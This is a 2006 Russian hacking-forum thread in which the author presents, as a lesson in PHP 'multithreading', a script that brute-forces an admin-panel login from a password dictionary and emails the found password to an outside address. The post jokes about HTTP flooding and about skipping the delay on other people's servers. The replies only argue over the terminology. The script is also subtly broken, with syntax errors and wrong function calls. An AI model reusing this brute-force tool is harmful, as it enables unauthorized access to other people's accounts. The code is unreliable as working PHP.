ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Php и многопоточность
  #1  
Старый 17.12.2006, 18:47
EXSlim
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме:
347686

Репутация: 87
Отправить сообщение для EXSlim с помощью ICQ
Post Php и многопоточность


Интро

Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.

О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html


In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - "!"
Цитата:
<?php

//Маскимальное число потоков
$threads = 20;

//хост
$host = "http://somehost.net";

//порт
$port = 80;

//файл для авторизации
$auth_file = "somefile.php";

//имя которое будем брутить
$brute_username = "admin";

//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";

//Максимальная длина пароля из файла
$socket_send_limit = 32;

//Стоп условие.
$stop_condition = "Welcome to the admin panel";

//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";


Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.
Цитата:
#####################
# Начинаем работать
#

//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";

$f = fopen("$dict","r");

while (!feof($f)) {

//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);

//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {

//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";

$query .="POST ".$full_path." HTTP/1.1\r\n";

$query .="Accept: */* \n";

$query .="Host: ".$host."\n";

$query .="User-Agent: GoogleBot 2.1\n"; // =)))))

$query .="\nlogin=".$brute_username."&password=".$сurren t_pass."\n";


//Открываем сокет
$s = fsockopen($host,$port);

//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);

//Устанавливаем таймаут
stream_set_timeout($s,600);

//Пишем в сокет
fputs($s,strlen($query));

//Запоминаем сокет в масив
$sock[$current_pass] = $s;


//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");

//Считываем ответ сервера
$get = fgets($s,1024);


//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {

mail("somemail@mail.ru","brute",$current_pass);

fclose($s);

fclose($f);

die("Done!");

}

//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);

}


//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);

}
?>
Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.
 
Ответить с цитированием

  #2  
Старый 17.12.2006, 18:51
Zadoxlik
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме:
3369632

Репутация: 749


По умолчанию

Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Как у меня тут например:
http://zadoxlik.info/portscan

А вообще слишком громко назвал тему чтобы написатьв ней только такую какашку
 
Ответить с цитированием

  #3  
Старый 17.12.2006, 19:21
EXSlim
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме:
347686

Репутация: 87
Отправить сообщение для EXSlim с помощью ICQ
По умолчанию

Цитата:
Бреед. Такую "многопоточность" (т.е. для неблок. сокетов) можно мутить токма функциями socket_ (если пхп собран с их поодержкой).
Всё нормально работает, причём намного быстрее. А насчёт "многопоточности" я и написал в интро и аутро. Если ты читал...

Насчёт названия топика - ыыы блин, ты прав, немного не так
 
Ответить с цитированием

  #4  
Старый 17.12.2006, 19:35
Zadoxlik
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме:
3369632

Репутация: 749


По умолчанию

У тебя блокируется выполнение в момент подкючения к хосту
 
Ответить с цитированием

  #5  
Старый 17.12.2006, 20:44
EXSlim
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме:
347686

Репутация: 87
Отправить сообщение для EXSlim с помощью ICQ
По умолчанию

Собственно ... уже давно пользуюсь более функциональным отлаженым скриптом на основе этого. Этот же скрипт я писал по-быстрому, даже не проверил на ошибки, ведь он работает у меня более пол года. Целью было показать идею, и возможно сам скипт не отлажен.
 
Ответить с цитированием

  #6  
Старый 17.12.2006, 20:45
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

Гг. Серия статей про треады?
Остались треды на питоне
 
Ответить с цитированием

  #7  
Старый 17.12.2006, 21:35
Morph
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063

Репутация: 429


По умолчанию

Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)
 
Ответить с цитированием

  #8  
Старый 17.12.2006, 23:39
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Был уже миллион обсуждений этой темы. Доходило до холиваров Perl vs PHP.
Но суть не в этом...
Скрипт дает прирост скорости? - Да. Значит все нормально.
Не стоит ругаться на его трактовку термина "многопточность". Главное что прирост есть, а термины это ***##
 
Ответить с цитированием

  #9  
Старый 17.12.2006, 23:50
EXSlim
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме:
347686

Репутация: 87
Отправить сообщение для EXSlim с помощью ICQ
По умолчанию

Цитата:
Сообщение от Morph  
Поидее на пхп вроде как вообще многопоточность не возможна так что думаю с названием переборщил ты чутка)
c названием да, с потоками - нет (+pcntl)
 
Ответить с цитированием

  #10  
Старый 18.12.2006, 00:23
Zadoxlik
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме:
3369632

Репутация: 749


По умолчанию

Это не потоки
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ